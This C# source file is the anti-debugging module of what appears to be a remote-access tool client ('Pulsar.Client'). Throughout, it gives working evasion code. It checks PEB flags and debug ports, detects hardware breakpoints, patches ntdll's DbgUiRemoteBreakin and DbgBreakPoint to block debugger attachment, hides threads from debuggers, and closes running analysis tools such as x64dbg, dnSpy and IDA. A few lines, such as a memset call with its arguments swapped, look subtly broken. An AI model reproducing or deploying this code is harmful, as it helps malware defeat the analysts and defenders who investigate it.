using System;
using System.IO;
using System.Text;
using System.Threading;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Reflection;
using Pulsar.Client.Anti.Helper;
using static Pulsar.Client.Anti.Helper.Structs;
namespace Pulsar.Client.Anti.Debugger
{
public class AntiDebug
{
#region WinApi
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool SetHandleInformation(IntPtr hObject, uint dwMask, uint dwFlags);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern bool NtClose(IntPtr Handle);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr CreateMutexA(IntPtr lpMutexAttributes, bool bInitialOwner, string lpName);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool IsDebuggerPresent();
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lib);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool ReadProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, out byte[] Buffer, uint size, out int NumOfBytes);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtSetInformationThread(IntPtr ThreadHandle, uint ThreadInformationClass, IntPtr ThreadInformation, int ThreadInformationLength);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientID);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern uint GetTickCount();
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetCurrentThread();
[DllImport("ntdll.dll", SetLastError = true)]
private static extern bool NtGetContextThread(IntPtr hThread, ref CONTEXT Context);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out uint ProcessInfo, uint nSize, uint ReturnLength);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out IntPtr ProcessInfo, uint nSize, uint ReturnLength);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, ref PROCESS_BASIC_INFORMATION ProcessInfo, uint nSize, uint ReturnLength);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern int QueryFullProcessImageNameA(SafeHandle hProcess, uint Flags, byte[] lpExeName, Int32[] lpdwSize);
[DllImport("win32u.dll", SetLastError = true)]
private static extern IntPtr NtUserGetForegroundWindow();
[DllImport("user32.dll", SetLastError = true)]
private static extern int GetWindowTextLengthA(IntPtr HWND);
[DllImport("user32.dll", SetLastError = true)]
private static extern int GetWindowTextA(IntPtr HWND, StringBuilder WindowText, int nMaxCount);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtSetDebugFilterState(ulong ComponentId, uint Level, bool State);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern IntPtr memset(IntPtr Dst, int val, uint size);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
[DllImport("kernel32.dll")]
private static extern int GetLastError();
#endregion
///
/// Attempts to close an invalid handle to detect debugger presence.
/// specifies if we should use syscall to call the WinAPI functions.
///
/// Returns true if an exception is caught, indicating no debugger, otherwise false.
public static bool NtCloseAntiDebug_InvalidHandle()
{
try
{
int RandomInt = new Random().Next(int.MinValue, int.MaxValue);
IntPtr RandomIntPtr = new IntPtr(RandomInt);
NtClose(RandomIntPtr);
return false;
}
catch
{
return true;
}
}
///
/// Attempts to close a protected handle to detect debugger presence.
/// specifies if we should use syscall to call the WinAPI functions.
///
/// Returns true if an exception is caught, indicating no debugger, otherwise false.
public static bool NtCloseAntiDebug_ProtectedHandle()
{
string RandomMutexName = new Random().Next(int.MinValue, int.MaxValue).ToString();
IntPtr hMutex = CreateMutexA(IntPtr.Zero, false, RandomMutexName);
uint HANDLE_FLAG_PROTECT_FROM_CLOSE = 0x00000002;
SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, HANDLE_FLAG_PROTECT_FROM_CLOSE);
bool Result = false;
try
{
NtClose(hMutex);
Result = false;
}
catch
{
Result = true;
}
SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, 0);
NtClose(hMutex);
return Result;
}
///
/// Checks if a debugger is attached to the process.
///
/// Returns true if a debugger is attached, otherwise false.
public static bool DebuggerIsAttached()
{
return System.Diagnostics.Debugger.IsAttached;
}
///
/// Checks if a debugger is present using the IsDebuggerPresent API.
///
/// Returns true if a debugger is present, otherwise false.
public static bool IsDebuggerPresentCheck()
{
if (IsDebuggerPresent())
return true;
return false;
}
///
/// Checks for the BeingDebugged flag directly.
///
/// Returns true if a debugger is present, otherwise false.
public static bool BeingDebuggedCheck()
{
byte[] Code = new byte[30];
if (IntPtr.Size == 8)
Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 };
else
Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 };
IntPtr BeingDebugged = Utils.AllocateCode(Code);
if (BeingDebugged != IntPtr.Zero)
{
try
{
Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(BeingDebugged, typeof(Delegates.GenericInt));
int Result = Executed();
Utils.FreeCode(BeingDebugged);
if (Result == 1)
return true;
}
catch
{
Utils.FreeCode(BeingDebugged);
}
}
return false;
}
///
/// Checks for the NtGlobalFlag directly.
///
/// Returns true if a debugger is present, otherwise false.
public static bool NtGlobalFlagCheck()
{
byte[] Code = new byte[30];
if (IntPtr.Size == 8)
Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xBC, 0x00, 0x00, 0x00, 0x48, 0x83, 0xE0, 0x70, 0x48, 0x83, 0xF8, 0x70, 0x74, 0x04, 0x48, 0x31, 0xC0, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 };
else
Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x68, 0x83, 0xE0, 0x70, 0x83, 0xF8, 0x70, 0x74, 0x03, 0x31, 0xC0, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
IntPtr NtGlobalFlag = Utils.AllocateCode(Code);
if (NtGlobalFlag != IntPtr.Zero)
{
try
{
Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(NtGlobalFlag, typeof(Delegates.GenericInt));
int Result = Executed();
Utils.FreeCode(NtGlobalFlag);
if (Result == 1)
return true;
}
catch
{
Utils.FreeCode(NtGlobalFlag);
}
}
return false;
}
///
/// Checks if the process has debug flags set using NtQueryInformationProcess
/// specifies if we should use syscall to call the WinAPI functions.
///
/// Returns true if debug flags are set, otherwise false.
public static bool NtQueryInformationProcessCheck_ProcessDebugFlags()
{
uint ProcessDebugFlags = 0;
NtQueryInformationProcess(new IntPtr(-1), 0x1F, out ProcessDebugFlags, sizeof(uint), 0);
if (ProcessDebugFlags == 0)
return true;
return false;
}
///
/// Checks if the process has a debug port using NtQueryInformationProcess.
/// specifies if we should use syscalls to call the WinAPI functions..
///
/// Returns true if a debug port is detected, otherwise false.
public static bool NtQueryInformationProcessCheck_ProcessDebugPort()
{
uint DebuggerPresent = 0;
uint Size = sizeof(uint);
if (Environment.Is64BitProcess)
Size = sizeof(uint) * 2;
NtQueryInformationProcess(new IntPtr(-1), 7, out DebuggerPresent, Size, 0);
if (DebuggerPresent != 0)
return true;
return false;
}
///
/// Checks if the process has a debug object handle using NtQueryInformationProcess.
/// specifies if we should use syscall to call the WinAPI functions.
///
/// Returns true if a debug object handle is detected, otherwise false.
public static bool NtQueryInformationProcessCheck_ProcessDebugObjectHandle()
{
IntPtr hDebugObject = IntPtr.Zero;
uint Size = sizeof(uint);
if (Environment.Is64BitProcess)
Size = sizeof(uint) * 2;
NtQueryInformationProcess(new IntPtr(-1), 0x1E, out hDebugObject, Size, 0);
if (hDebugObject != IntPtr.Zero)
return true;
return false;
}
///
/// Patches the DbgUiRemoteBreakin and DbgBreakPoint functions to prevent debugger attachment.
///
/// Returns "Success" if the patching was successful, otherwise "Failed".
public static string AntiDebugAttach()
{
IntPtr NtdllModule = Utils.LowLevelGetModuleHandle("ntdll.dll");
IntPtr DbgUiRemoteBreakinAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgUiRemoteBreakin");
IntPtr DbgBreakPointAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgBreakPoint");
byte[] Int3InvaildCode = { 0xCC };
byte[] RetCode = { 0xC3 };
bool Status = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiRemoteBreakinAddress, Int3InvaildCode, 1, out IntPtr test);
bool Status2 = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgBreakPointAddress, RetCode, 1, out IntPtr test2);
if (Status && Status2)
return "Success";
return "Failed";
}
///
/// Checks for the presence of known debugger windows.
///
/// Returns true if a known debugger window is detected, otherwise false.
public static bool FindWindowAntiDebug()
{
string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "cheat engine", "cheatengine", "ida" };
Process[] GetProcesses = Process.GetProcesses();
foreach (Process GetWindow in GetProcesses)
{
try
{
if (GetWindow.MainWindowHandle != IntPtr.Zero)
{
string title = GetWindow.MainWindowTitle;
if (string.IsNullOrEmpty(title)) continue;
foreach (string BadWindows in BadWindowNames)
{
if (Utils.Contains(title, BadWindows))
{
GetWindow.Close();
return true;
}
}
}
}
catch
{
continue;
}
}
return false;
}
///
/// Checks if the foreground window belongs to a known debugger.
///
/// Returns true if a known debugger window is detected, otherwise false.
public static bool NtUserGetForegroundWindowAntiDebug()
{
string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "debug", "debugger", "cheat engine", "cheatengine", "ida" };
IntPtr HWND = NtUserGetForegroundWindow();
if (HWND != IntPtr.Zero)
{
int WindowLength = GetWindowTextLengthA(HWND);
if (WindowLength != 0)
{
StringBuilder WindowName = new StringBuilder(WindowLength + 1);
GetWindowTextA(HWND, WindowName, WindowLength + 1);
foreach (string BadWindows in BadWindowNames)
{
if (Utils.Contains(WindowName.ToString().ToLower(), BadWindows))
{
return true;
}
}
}
}
return false;
}
///
/// Hides threads from the debugger by setting the NtSetInformationThread.
///
/// Returns "Success" if the threads were hidden successfully, otherwise "Failed".
public static string HideThreadsAntiDebug()
{
try
{
bool AnyThreadFailed = false;
int PID = Process.GetCurrentProcess().Id;
ProcessThreadCollection GetCurrentProcessThreads = Process.GetCurrentProcess().Threads;
foreach (ProcessThread Threads in GetCurrentProcessThreads)
{
CLIENT_ID CI = new CLIENT_ID
{
UniqueProcess = (IntPtr)PID,
UniqueThread = (IntPtr)Threads.Id
};
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
{
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
RootDirectory = IntPtr.Zero,
ObjectName = IntPtr.Zero,
Attributes = 0,
SecurityDescriptor = IntPtr.Zero,
SecurityQualityOfService = IntPtr.Zero
};
IntPtr hThread = IntPtr.Zero;
uint Status = NtOpenThread(out hThread, 0x0020, ref Attributes, ref CI);
if (Status == 0 || hThread != IntPtr.Zero)
{
uint Status2 = NtSetInformationThread(hThread, 0x11, IntPtr.Zero, 0);
NtClose(hThread);
if (Status2 != 0x00000000)
AnyThreadFailed = true;
}
}
if (!AnyThreadFailed)
return "Success";
return "Failed";
}
catch
{
return "Failed";
}
}
///
/// Uses GetTickCount to detect debugger presence.
///
/// Returns true if debugger presence is detected, otherwise false.
public static bool GetTickCountAntiDebug()
{
uint Start = GetTickCount();
Thread.Sleep(0x10);
return (GetTickCount() - Start) > 0x10;
}
///
/// Triggers a debug break to detect debugger presence.
///
/// Returns true if an exception is caught, indicating no debugger, otherwise false.
public static bool DebugBreakAntiDebug()
{
try
{
Utils.CallInternalCLRFunction("BreakInternal", typeof(Debug), BindingFlags.NonPublic | BindingFlags.Static, null, null);
return false;
}
catch
{
return true;
}
}
private static long CONTEXT_DEBUG_REGISTERS = 0x00010000L | 0x00000010L;
///
/// Detects hardware breakpoints by checking debug registers.
///
/// Returns true if hardware breakpoints are detected, otherwise false.
public static bool HardwareRegistersBreakpointsDetection()
{
CONTEXT Context = new CONTEXT();
Context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
int PID = Process.GetCurrentProcess().Id;
foreach (ProcessThread Threads in Process.GetCurrentProcess().Threads)
{
uint THREAD_QUERY_INFORMATION = 0x0040;
CLIENT_ID CI = new CLIENT_ID
{
UniqueProcess = (IntPtr)PID,
UniqueThread = (IntPtr)Threads.Id
};
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
{
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
RootDirectory = IntPtr.Zero,
ObjectName = IntPtr.Zero,
Attributes = 0,
SecurityDescriptor = IntPtr.Zero,
SecurityQualityOfService = IntPtr.Zero
};
IntPtr hThread = IntPtr.Zero;
uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI);
if (Status == 0 || hThread != IntPtr.Zero)
{
if (NtGetContextThread(hThread, ref Context))
{
if ((Context.Dr1 != 0x00 || Context.Dr2 != 0x00 || Context.Dr3 != 0x00 || Context.Dr6 != 0x00 || Context.Dr7 != 0x00))
{
NtClose(hThread);
return true;
}
}
NtClose(hThread);
}
}
return false;
}
///
/// Cleans the specified path by removing null characters.
///
/// The path to clean.
/// The cleaned path.
private static string CleanPath(string Path)
{
string CleanedPath = null;
foreach (char Null in Path)
{
if (Null != '\0')
{
CleanedPath += Null;
}
}
return CleanedPath;
}
///
/// Uses NtSetDebugFilterState to prevent debugging.
///
/// Returns true if the filter state was set successfully, otherwise false.
public static bool NtSetDebugFilterStateAntiDebug()
{
if (NtSetDebugFilterState(0, 0, true) != 0)
return false;
return true;
}
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate int ExecutionDelegate();
///
/// Uses page guard to detect debugger presence by executing a function pointer.
///
/// Returns true if debugger presence is detected, otherwise false.
public static bool PageGuardAntiDebug()
{
SYSTEM_INFO SysInfo = new SYSTEM_INFO();
GetSystemInfo(out SysInfo);
uint MEM_COMMIT = 0x00001000;
uint MEM_RESERVE = 0x00002000;
uint PAGE_EXECUTE_READWRITE = 0x40;
uint PAGE_GUARD = 0x100;
uint MEM_RELEASE = 0x00008000;
IntPtr AllocatedSpace = VirtualAlloc(IntPtr.Zero, SysInfo.PageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (AllocatedSpace != IntPtr.Zero)
{
memset(AllocatedSpace, 1, 0xC3);
uint OldProtect = 0;
if (Utils.ProtectMemory(AllocatedSpace, (UIntPtr)SysInfo.PageSize, PAGE_EXECUTE_READWRITE | PAGE_GUARD, out OldProtect))
{
try
{
ExecutionDelegate IsDebugged = Marshal.GetDelegateForFunctionPointer(AllocatedSpace);
int Result = IsDebugged();
}
catch
{
VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE);
return false;
}
VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE);
return true;
}
}
return false;
}
}
}